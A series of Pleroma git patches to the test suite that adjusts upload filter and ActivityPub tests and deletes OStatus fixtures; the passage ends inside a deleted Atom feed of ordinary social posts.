cgit v1.2.3 From 0a25c92cfafce6af9ff9a40ac278dafac69e0c08 Mon Sep 17 00:00:00 2001 From: Alibek Omarov <a1ba.omarov@gmail.com> Date: Mon, 7 Sep 2020 23:18:36 +0200 Subject: ForceBotUnlistedPolicy: try to fix test --- test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs index 6f001c233..85ca95b0a 100644 --- a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs +++ b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs @@ -6,7 +6,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicyTest do use Pleroma.DataCase import Pleroma.Factory - import Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy + alias Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy defp generate_messages(actor) do {%{ -- cgit v1.2.3 From d074e54013cb38d308693891e0353c0dccc54b85 Mon Sep 17 00:00:00 2001 From: Alibek Omarov <a1ba.omarov@gmail.com> Date: Mon, 7 Sep 2020 23:28:29 +0200 Subject: ForceBotUnlistedPolicy: try to fix test 2 --- test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs | 1 + 1 file changed, 1 insertion(+) (limited to 'test') diff --git a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs index 85ca95b0a..86dd9ddae 100644 --- a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs +++ b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs @@ -7,6 +7,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicyTest do import Pleroma.Factory alias Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy + @public "https://www.w3.org/ns/activitystreams#Public" defp generate_messages(actor) do {%{ -- cgit v1.2.3 From 2165a249744a1ad4386a9d237871abe88e298942 Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Fri, 4 Sep 2020 17:40:59 -0500 Subject: Improve upload filter return values so we can identify when filters make no changes to the input --- test/upload/filter/anonymize_filename_test.exs | 6 +++--- test/upload/filter/dedupe_test.exs | 1 + test/upload/filter/exiftool_test.exs | 2 +- test/upload/filter/mogrifun_test.exs | 2 +- test/upload/filter/mogrify_test.exs | 2 +- 5 files changed, 7 insertions(+), 6 deletions(-) (limited to 'test') diff --git a/test/upload/filter/anonymize_filename_test.exs b/test/upload/filter/anonymize_filename_test.exs index adff70f57..19b915cc8 100644 --- a/test/upload/filter/anonymize_filename_test.exs +++ b/test/upload/filter/anonymize_filename_test.exs @@ -24,18 +24,18 @@ defmodule Pleroma.Upload.Filter.AnonymizeFilenameTest do test "it replaces filename on pre-defined text", %{upload_file: upload_file} do Config.put([Upload.Filter.AnonymizeFilename, :text], "custom-file.png") - {:ok, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) + {:ok, :filtered, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) assert name == "custom-file.png" end test "it replaces filename on pre-defined text expression", %{upload_file: upload_file} do Config.put([Upload.Filter.AnonymizeFilename, :text], "custom-file.{extension}") - {:ok, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) + {:ok, :filtered, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) assert name == "custom-file.jpg" end test "it replaces filename on random text", %{upload_file: upload_file} do - {:ok, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) + {:ok, :filtered, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) assert <<_::bytes-size(14)>> <> ".jpg" = name refute name == "an… image.jpg" end diff --git a/test/upload/filter/dedupe_test.exs b/test/upload/filter/dedupe_test.exs index 966c353f7..75c7198e1 100644 --- a/test/upload/filter/dedupe_test.exs +++ b/test/upload/filter/dedupe_test.exs @@ -25,6 +25,7 @@ defmodule Pleroma.Upload.Filter.DedupeTest do assert { :ok, + :filtered, %Pleroma.Upload{id: @shasum, path: @shasum <> ".jpg"} } = Dedupe.filter(upload) end diff --git a/test/upload/filter/exiftool_test.exs b/test/upload/filter/exiftool_test.exs index 8ed7d650b..094253a25 100644 --- a/test/upload/filter/exiftool_test.exs +++ b/test/upload/filter/exiftool_test.exs @@ -21,7 +21,7 @@ defmodule Pleroma.Upload.Filter.ExiftoolTest do tempfile: Path.absname("test/fixtures/DSCN0010_tmp.jpg") } - assert Filter.Exiftool.filter(upload) == :ok + assert Filter.Exiftool.filter(upload) == {:ok, :filtered} {exif_original, 0} = System.cmd("exiftool", ["test/fixtures/DSCN0010.jpg"]) {exif_filtered, 0} = System.cmd("exiftool", ["test/fixtures/DSCN0010_tmp.jpg"]) diff --git a/test/upload/filter/mogrifun_test.exs b/test/upload/filter/mogrifun_test.exs index 2426a8496..dc1e9e78f 100644 --- a/test/upload/filter/mogrifun_test.exs +++ b/test/upload/filter/mogrifun_test.exs @@ -36,7 +36,7 @@ defmodule Pleroma.Upload.Filter.MogrifunTest do save: fn _f, _o -> :ok end ]} ]) do - assert Filter.Mogrifun.filter(upload) == :ok + assert Filter.Mogrifun.filter(upload) == {:ok, :filtered} end Task.await(task) diff --git a/test/upload/filter/mogrify_test.exs b/test/upload/filter/mogrify_test.exs index 62ca30487..bf64b96b3 100644 --- a/test/upload/filter/mogrify_test.exs +++ b/test/upload/filter/mogrify_test.exs @@ -33,7 +33,7 @@ defmodule Pleroma.Upload.Filter.MogrifyTest do custom: fn _m, _a -> :ok end, custom: fn m, a, o -> send(task.pid, {:apply_filter, {m, a, o}}) end, save: fn _f, _o -> :ok end do - assert Filter.Mogrify.filter(upload) == :ok + assert Filter.Mogrify.filter(upload) == {:ok, :filtered} end Task.await(task) -- cgit v1.2.3 From 3a98960c2684229435c5d04e4f3e0611098ceea2 Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Fri, 4 Sep 2020 17:50:16 -0500 Subject: Verify webp files are not processed with exiftool --- test/upload/filter/exiftool_test.exs | 11 +++++++++++ 1 file changed, 11 insertions(+) (limited to 'test') diff --git a/test/upload/filter/exiftool_test.exs b/test/upload/filter/exiftool_test.exs index 094253a25..fe24036d9 100644 --- a/test/upload/filter/exiftool_test.exs +++ b/test/upload/filter/exiftool_test.exs @@ -30,4 +30,15 @@ defmodule Pleroma.Upload.Filter.ExiftoolTest do assert String.match?(exif_original, ~r/GPS/) refute String.match?(exif_filtered, ~r/GPS/) end + + test "verify webp files are skipped" do + upload = %Pleroma.Upload{ + name: "sample.webp", + content_type: "image/webp", + path: Path.absname("/dev/null"), + tempfile: Path.absname("/dev/null") + } + + assert Filter.Exiftool.filter(upload) == {:ok, :noop} + end end -- cgit v1.2.3 From 216c84a8f4d82649110ffaa2bc9d02b879805c5f Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Fri, 4 Sep 2020 17:56:05 -0500 Subject: Bypass the filter based on content-type as well in case a webp image is uploaded with the wrong file extension. --- test/upload/filter/exiftool_test.exs | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) (limited to 'test') diff --git a/test/upload/filter/exiftool_test.exs b/test/upload/filter/exiftool_test.exs index fe24036d9..84a3f8b30 100644 --- a/test/upload/filter/exiftool_test.exs +++ b/test/upload/filter/exiftool_test.exs @@ -34,11 +34,15 @@ defmodule Pleroma.Upload.Filter.ExiftoolTest do test "verify webp files are skipped" do upload = %Pleroma.Upload{ name: "sample.webp", - content_type: "image/webp", - path: Path.absname("/dev/null"), - tempfile: Path.absname("/dev/null") + content_type: "image/webp" + } + + bad_type = %Pleroma.Upload{ + name: "sample.webp", + content_type: "image/jpeg" } assert Filter.Exiftool.filter(upload) == {:ok, :noop} + assert Filter.Exiftool.filter(bad_type) == {:ok, :noop} end end -- cgit v1.2.3 From 4ea07f74e9416da8f97a12cfdc24da82e1c00d91 Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Fri, 4 Sep 2020 22:18:01 -0500 Subject: Revert/simplify. We only need to check the content-type. There's no chance a webp file will get mismatched as another image type. --- test/upload/filter/exiftool_test.exs | 6 ------ 1 file changed, 6 deletions(-) (limited to 'test') diff --git a/test/upload/filter/exiftool_test.exs b/test/upload/filter/exiftool_test.exs index 84a3f8b30..d4cd4ba11 100644 --- a/test/upload/filter/exiftool_test.exs +++ b/test/upload/filter/exiftool_test.exs @@ -37,12 +37,6 @@ defmodule Pleroma.Upload.Filter.ExiftoolTest do content_type: "image/webp" } - bad_type = %Pleroma.Upload{ - name: "sample.webp", - content_type: "image/jpeg" - } - assert Filter.Exiftool.filter(upload) == {:ok, :noop} - assert Filter.Exiftool.filter(bad_type) == {:ok, :noop} end end -- cgit v1.2.3 From 788dececff5d1cea48cf37e59d9a46b48e0db6ed Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" <contact@hacktivis.me> Date: Tue, 8 Sep 2020 16:08:01 +0200 Subject: test: remove extraneous :instances_favicons config bits --- test/web/instances/instance_test.exs | 2 -- 1 file changed, 2 deletions(-) (limited to 'test') diff --git a/test/web/instances/instance_test.exs b/test/web/instances/instance_test.exs index 5d4efcebe..dc6ace843 100644 --- a/test/web/instances/instance_test.exs +++ b/test/web/instances/instance_test.exs @@ -112,8 +112,6 @@ defmodule Pleroma.Instances.InstanceTest do end test "Returns nil on too long favicon URLs" do - clear_config([:instances_favicons, :enabled], true) - long_favicon_url = "https://Lorem.ipsum.dolor.sit.amet/consecteturadipiscingelit/Praesentpharetrapurusutaliquamtempus/Mauriseulaoreetarcu/atfacilisisorci/Nullamporttitor/nequesedfeugiatmollis/dolormagnaefficiturlorem/nonpretiumsapienorcieurisus/Nullamveleratsem/Maecenassedaccumsanexnam/favicon.png" -- cgit v1.2.3 From f6723dc9bd4f05319835158be9937dda4400feb9 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" <contact@hacktivis.me> Date: Tue, 8 Sep 2020 15:47:20 +0200 Subject: account_view_test: Remove empty test --- test/web/mastodon_api/views/account_view_test.exs | 3 --- 1 file changed, 3 deletions(-) (limited to 'test') diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs index 68a5d0091..9f22f9dcf 100644 --- a/test/web/mastodon_api/views/account_view_test.exs +++ b/test/web/mastodon_api/views/account_view_test.exs @@ -116,9 +116,6 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do end end - test "Favicon when :instance_favicons is enabled" do - end - test "Represent the user account for the account owner" do user = insert(:user) -- cgit v1.2.3 From fd7e9bdd25ad05eb6fca109be3b0fe5fa01a71bb Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Tue, 8 Sep 2020 17:12:38 +0300 Subject: don't run async tests, which use Mock --- test/plugs/admin_secret_authentication_plug_test.exs | 2 +- test/plugs/oauth_scopes_plug_test.exs | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) (limited to 'test') diff --git a/test/plugs/admin_secret_authentication_plug_test.exs b/test/plugs/admin_secret_authentication_plug_test.exs index 89df03c4b..14094eda8 100644 --- a/test/plugs/admin_secret_authentication_plug_test.exs +++ b/test/plugs/admin_secret_authentication_plug_test.exs @@ -3,7 +3,7 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Plugs.AdminSecretAuthenticationPlugTest do - use Pleroma.Web.ConnCase, async: true + use Pleroma.Web.ConnCase import Mock import Pleroma.Factory diff --git a/test/plugs/oauth_scopes_plug_test.exs b/test/plugs/oauth_scopes_plug_test.exs index 884de7b4d..334316043 100644 --- a/test/plugs/oauth_scopes_plug_test.exs +++ b/test/plugs/oauth_scopes_plug_test.exs @@ -3,7 +3,7 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Plugs.OAuthScopesPlugTest do - use Pleroma.Web.ConnCase, async: true + use Pleroma.Web.ConnCase alias Pleroma.Plugs.OAuthScopesPlug alias Pleroma.Repo -- cgit v1.2.3 From ee0e05f9301e149c769f36bfd0fc8527ec7b6326 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" <contact@hacktivis.me> Date: Tue, 8 Sep 2020 10:43:57 +0200 Subject: Drop unused "inReplyToAtomUri" in objects --- test/web/activity_pub/transmogrifier_test.exs | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) (limited to 'test') diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs index 3fa41b0c7..6e096e9ec 100644 --- a/test/web/activity_pub/transmogrifier_test.exs +++ b/test/web/activity_pub/transmogrifier_test.exs @@ -116,7 +116,8 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" ) - assert returned_object.data["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873" + assert returned_object.data["inReplyTo"] == + "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" end test "it does not fetch reply-to activities beyond max replies depth limit" do @@ -140,8 +141,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" ) - assert returned_object.data["inReplyToAtomUri"] == - "https://shitposter.club/notice/2827873" + assert returned_object.data["inReplyTo"] == "https://shitposter.club/notice/2827873" end end @@ -1072,7 +1072,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do assert Transmogrifier.fix_in_reply_to(data) == data end - test "returns object with inReplyToAtomUri when denied incoming reply", %{data: data} do + test "returns object with inReplyTo when denied incoming reply", %{data: data} do Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0) object_with_reply = @@ -1080,26 +1080,22 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) assert modified_object["inReplyTo"] == "https://shitposter.club/notice/2827873" - assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873" object_with_reply = Map.put(data["object"], "inReplyTo", %{"id" => "https://shitposter.club/notice/2827873"}) modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) assert modified_object["inReplyTo"] == %{"id" => "https://shitposter.club/notice/2827873"} - assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873" object_with_reply = Map.put(data["object"], "inReplyTo", ["https://shitposter.club/notice/2827873"]) modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) assert modified_object["inReplyTo"] == ["https://shitposter.club/notice/2827873"] - assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873" object_with_reply = Map.put(data["object"], "inReplyTo", []) modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) assert modified_object["inReplyTo"] == [] - assert modified_object["inReplyToAtomUri"] == "" end @tag capture_log: true @@ -1117,8 +1113,6 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do assert modified_object["inReplyTo"] == "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" - assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873" - assert modified_object["context"] == "tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26" end -- cgit v1.2.3 From 921f926e96fd07131d4b79f5a29caed17ae2cc56 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" <contact@hacktivis.me> Date: Tue, 8 Sep 2020 09:13:11 +0200 Subject: Remove OStatus in testsuite --- test/fixtures/23211.atom | 508 --------------- test/fixtures/cw_retweet.xml | 68 -- test/fixtures/delete.xml | 39 -- test/fixtures/dm.xml | 27 - test/fixtures/favorite.xml | 65 -- test/fixtures/favorite_with_local_note.xml | 64 -- test/fixtures/follow.xml | 68 -- test/fixtures/incoming_note_activity.xml | 42 -- test/fixtures/incoming_note_activity_answer.xml | 42 -- test/fixtures/incoming_reply_mastodon.xml | 29 - .../incoming_websub_gnusocial_attachments.xml | 59 -- test/fixtures/lambadalambda.atom | 479 -------------- test/fixtures/mastodon-note-cw.xml | 39 -- test/fixtures/mastodon-note-unlisted.xml | 38 -- test/fixtures/mastodon-problematic.xml | 72 --- test/fixtures/mastodon_conversation.xml | 30 - test/fixtures/nil_mention_entry.xml | 52 -- test/fixtures/ostatus_incoming_post.xml | 57 -- test/fixtures/ostatus_incoming_post_tag.xml | 59 -- test/fixtures/ostatus_incoming_reply.xml | 60 -- test/fixtures/share-gs-local.xml | 99 --- test/fixtures/share-gs.xml | 99 --- test/fixtures/share.xml | 54 -- test/fixtures/tesla_mock/7369654.atom | 44 -- test/fixtures/tesla_mock/atarifrosch_feed.xml | 473 -------------- test/fixtures/tesla_mock/emelie.atom | 306 --------- ...index.php_api_statuses_user_timeline_1.atom.xml | 460 ------------- .../tesla_mock/https___mamot.fr_users_Skruyb.atom | 342 ---------- ...ttps___mastodon.social_users_lambadalambda.atom | 464 ------------- .../https___pawoo.net_users_pekorino.atom | 231 ------- ...s___pleroma.soykaf.com_users_lain_feed.atom.xml | 1 - ...tposter.club_api_statuses_show_2827873.atom.xml | 54 -- ...ster.club_api_statuses_user_timeline_1.atom.xml | 454 ------------- .../https___shitposter.club_notice_2827873.json | 1 - ...al.la_api_statuses_user_timeline_23211.atom.xml | 591 ----------------- ...al.la_api_statuses_user_timeline_29191.atom.xml | 719 --------------------- test/fixtures/tesla_mock/sakamoto.atom | 1 - test/fixtures/tesla_mock/sakamoto_eal_feed.atom | 1 - .../tesla_mock/shp@pleroma.soykaf.com.feed | 1 - test/fixtures/tesla_mock/spc_5381.atom | 438 ------------- test/fixtures/unfollow.xml | 68 -- test/support/http_request_mock.ex | 174 ----- test/web/activity_pub/transmogrifier_test.exs | 16 +- .../controllers/search_controller_test.exs | 12 +- 44 files changed, 15 insertions(+), 6985 deletions(-) delete mode 100644 test/fixtures/23211.atom delete mode 100644 test/fixtures/cw_retweet.xml delete mode 100644 test/fixtures/delete.xml delete mode 100644 test/fixtures/dm.xml delete mode 100644 test/fixtures/favorite.xml delete mode 100644 test/fixtures/favorite_with_local_note.xml delete mode 100644 test/fixtures/follow.xml delete mode 100644 test/fixtures/incoming_note_activity.xml delete mode 100644 test/fixtures/incoming_note_activity_answer.xml delete mode 100644 test/fixtures/incoming_reply_mastodon.xml delete mode 100644 test/fixtures/incoming_websub_gnusocial_attachments.xml delete mode 100644 test/fixtures/lambadalambda.atom delete mode 100644 test/fixtures/mastodon-note-cw.xml delete mode 100644 test/fixtures/mastodon-note-unlisted.xml delete mode 100644 test/fixtures/mastodon-problematic.xml delete mode 100644 test/fixtures/mastodon_conversation.xml delete mode 100644 test/fixtures/nil_mention_entry.xml delete mode 100644 test/fixtures/ostatus_incoming_post.xml delete mode 100644 test/fixtures/ostatus_incoming_post_tag.xml delete mode 100644 test/fixtures/ostatus_incoming_reply.xml delete mode 100644 test/fixtures/share-gs-local.xml delete mode 100644 test/fixtures/share-gs.xml delete mode 100644 test/fixtures/share.xml delete mode 100644 test/fixtures/tesla_mock/7369654.atom delete mode 100644 test/fixtures/tesla_mock/atarifrosch_feed.xml delete mode 100644 test/fixtures/tesla_mock/emelie.atom delete mode 100644 test/fixtures/tesla_mock/http__gs.example.org_index.php_api_statuses_user_timeline_1.atom.xml delete mode 100644 test/fixtures/tesla_mock/https___mamot.fr_users_Skruyb.atom delete mode 100644 test/fixtures/tesla_mock/https___mastodon.social_users_lambadalambda.atom delete mode 100644 test/fixtures/tesla_mock/https___pawoo.net_users_pekorino.atom delete mode 100644 test/fixtures/tesla_mock/https___pleroma.soykaf.com_users_lain_feed.atom.xml delete mode 100644 test/fixtures/tesla_mock/https___shitposter.club_api_statuses_show_2827873.atom.xml delete mode 100644 test/fixtures/tesla_mock/https___shitposter.club_api_statuses_user_timeline_1.atom.xml delete mode 100644 test/fixtures/tesla_mock/https___shitposter.club_notice_2827873.json delete mode 100644 test/fixtures/tesla_mock/https___social.heldscal.la_api_statuses_user_timeline_23211.atom.xml delete mode 100644 test/fixtures/tesla_mock/https___social.heldscal.la_api_statuses_user_timeline_29191.atom.xml delete mode 100644 test/fixtures/tesla_mock/sakamoto.atom delete mode 100644 test/fixtures/tesla_mock/sakamoto_eal_feed.atom delete mode 100644 test/fixtures/tesla_mock/shp@pleroma.soykaf.com.feed delete mode 100644 test/fixtures/tesla_mock/spc_5381.atom delete mode 100644 test/fixtures/unfollow.xml (limited to 'test') diff --git a/test/fixtures/23211.atom b/test/fixtures/23211.atom deleted file mode 100644 index d5d111baa..000000000 --- a/test/fixtures/23211.atom +++ /dev/null @@ -1,508 +0,0 @@ -<?xml version="1.0" encoding="UTF-8"?> -<feed xml:lang="en-US" xmlns="http://www.w3.org/2005/Atom" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:georss="http://www.georss.org/georss" xmlns:activity="http://activitystrea.ms/spec/1.0/" xmlns:media="http://purl.org/syndication/atommedia" xmlns:poco="http://portablecontacts.net/spec/1.0" xmlns:ostatus="http://ostatus.org/schema/1.0" xmlns:statusnet="http://status.net/schema/api/1/"> - <generator uri="https://gnu.io/social" version="1.0.2-dev">GNU social</generator> - <id>https://social.heldscal.la/api/statuses/user_timeline/23211.atom</id> - <title>lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-05-02T14:59:30+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:comment:2015260:2017-05-02T14:45:47+00:00 - Favorite - lambadalambda favorited something by godemperorofdune: <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> It's because your instance decided to be trap! lol.</p> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T14:45:47+00:00 - 2017-05-02T14:45:47+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:pawoo.net,2017-05-02:objectId=7397439:objectType=Status - New comment by godemperorofdune - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> It's because your instance decided to be trap! lol.</p> - - - - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=136e244b26cdf1e9 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.heldscal.la,2017-05-02:noticeId=2015221:objectType=note - New note by lambadalambda - Some script thinks I'm a mastodon server.<br /> <br /> [info] GET /api/v1/timelines/public<br /> [debug] Processing with Fallback.RedirectController.redirector/2<br /> Parameters: %{&quot;limit&quot; =&gt; &quot;40&quot;, &quot;path&quot; =&gt; [&quot;api&quot;, &quot;v1&quot;, &quot;timelines&quot;, &quot;public&quot;]}<br /> Pipelines: [] - - - http://activitystrea.ms/schema/1.0/post - 2017-05-02T14:40:50+00:00 - 2017-05-02T14:40:50+00:00 - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=136e244b26cdf1e9 - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:social.heldscal.la,2017-05-02:noticeId=2014759:objectType=comment - New comment by lambadalambda - @<a href="https://mstdn.io/users/mattskala" class="h-card u-url p-nickname mention" title="Matthew Skala">mattskala</a> You and @<a href="https://mastodon.social/users/kevinmarks" class="h-card u-url p-nickname mention" title="Kevin Marks">kevinmarks</a> are not wrong, but my comment was a suggestion to users and admins: Don't use big instances, don't run big instances. Also, it's a secondary advice to devs: Don't add features that encourage big instances. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-02T14:11:54+00:00 - 2017-05-02T14:11:54+00:00 - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=58e32e013ab6487d - - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:social.heldscal.la,2017-05-02:noticeId=2014684:objectType=comment - New comment by lambadalambda - @<a href="https://mastodon.social/users/Ronkjeffries" class="h-card u-url p-nickname mention" title="Ron K Jeffries social">ronkjeffries</a> @<a href="https://xoxo.zone/users/KevinMarks" class="h-card u-url p-nickname mention" title="Kevin Marks ">kevinmarks</a> Usually people who run their own private instance just look at the timelines of other servers, follow a seed population and then go from there. This is of course hard on Mastodon, because it doesn't have a publicly visible timeline. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-02T14:07:00+00:00 - 2017-05-02T14:07:00+00:00 - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=58e32e013ab6487d - - - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:comment:2014584:2017-05-02T14:05:32+00:00 - Favorite - lambadalambda favorited something by mattskala: <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> It's reasonable to expect that instance sizes will obey a power-law distribution because that's what such things in nature nearly always do. If so, there'll necessarily be a few instances much larger than the others; even if most are small, the network both socially and technically has to be able to deal with the existence of the few large ones.</p> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T14:05:32+00:00 - 2017-05-02T14:05:32+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:mstdn.io,2017-05-02:objectId=1316931:objectType=Status - New comment by mattskala - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> It's reasonable to expect that instance sizes will obey a power-law distribution because that's what such things in nature nearly always do. If so, there'll necessarily be a few instances much larger than the others; even if most are small, the network both socially and technically has to be able to deal with the existence of the few large ones.</p> - - - - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=58e32e013ab6487d - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:comment:2013568:2017-05-02T14:05:29+00:00 - Favorite - lambadalambda favorited something by kevinmarks: <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> except instance populations will be power law distributed, and the problems for the tummlers are worse at scale</p> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T14:05:29+00:00 - 2017-05-02T14:05:29+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:xoxo.zone,2017-05-02:objectId=89478:objectType=Status - New comment by kevinmarks - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> except instance populations will be power law distributed, and the problems for the tummlers are worse at scale</p> - - - - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=58e32e013ab6487d - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:comment:2014060:2017-05-02T13:34:32+00:00 - Favorite - lambadalambda favorited something by gcarregues: <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> Oh purée ! Ma vie en images !</p> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T13:34:32+00:00 - 2017-05-02T13:34:32+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:mastodon.etalab.gouv.fr,2017-05-02:objectId=55287:objectType=Status - New comment by gcarregues - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> Oh purée ! Ma vie en images !</p> - - - - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=2c27c27df8ec4dcc - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:note:2013573:2017-05-02T13:03:33+00:00 - Favorite - lambadalambda favorited something by phildobangnz: also @<a href="https://sealion.club/user/579" class="h-card mention" title="Sim Bot">sim</a> reminder you are awesome; don't even trip- u kewler than Tutankhamen's cucumber, fam. Okay, good night. - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T13:03:33+00:00 - 2017-05-02T13:03:33+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:sealion.club,2017-05-02:noticeId=3060818:objectType=note - New note by phildobangnz - also @<a href="https://sealion.club/user/579" class="h-card mention" title="Sim Bot">sim</a> reminder you are awesome; don't even trip- u kewler than Tutankhamen's cucumber, fam. Okay, good night. - - - - - - - https://sealion.club/conversation/1633267 - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:social.heldscal.la,2017-05-02:noticeId=2013586:objectType=comment - New comment by lambadalambda - @<a href="https://xoxo.zone/users/KevinMarks" class="h-card u-url p-nickname mention" title="Kevin Marks ">kevinmarks</a> People can stay in their giant unmoderatable instances with meaningless public and federated timelines and experience constant federation drama if they want. I'll stay here with my 5 friends. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-02T12:54:59+00:00 - 2017-05-02T12:54:59+00:00 - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=58e32e013ab6487d - - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:note:2013486:2017-05-02T12:46:48+00:00 - Favorite - lambadalambda favorited something by fortune: There once was a dentist named Stone<br /> Who saw all his patients alone.<br /> In a fit of depravity<br /> He filled the wrong cavity,<br /> And my, how his practice has grown! - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T12:46:48+00:00 - 2017-05-02T12:46:48+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:gs.kawa-kun.com,2017-05-02:noticeId=1655658:objectType=note - New note by fortune - There once was a dentist named Stone<br /> Who saw all his patients alone.<br /> In a fit of depravity<br /> He filled the wrong cavity,<br /> And my, how his practice has grown! - - - - - - - https://gs.kawa-kun.com/conversation/714072 - - - - - - - 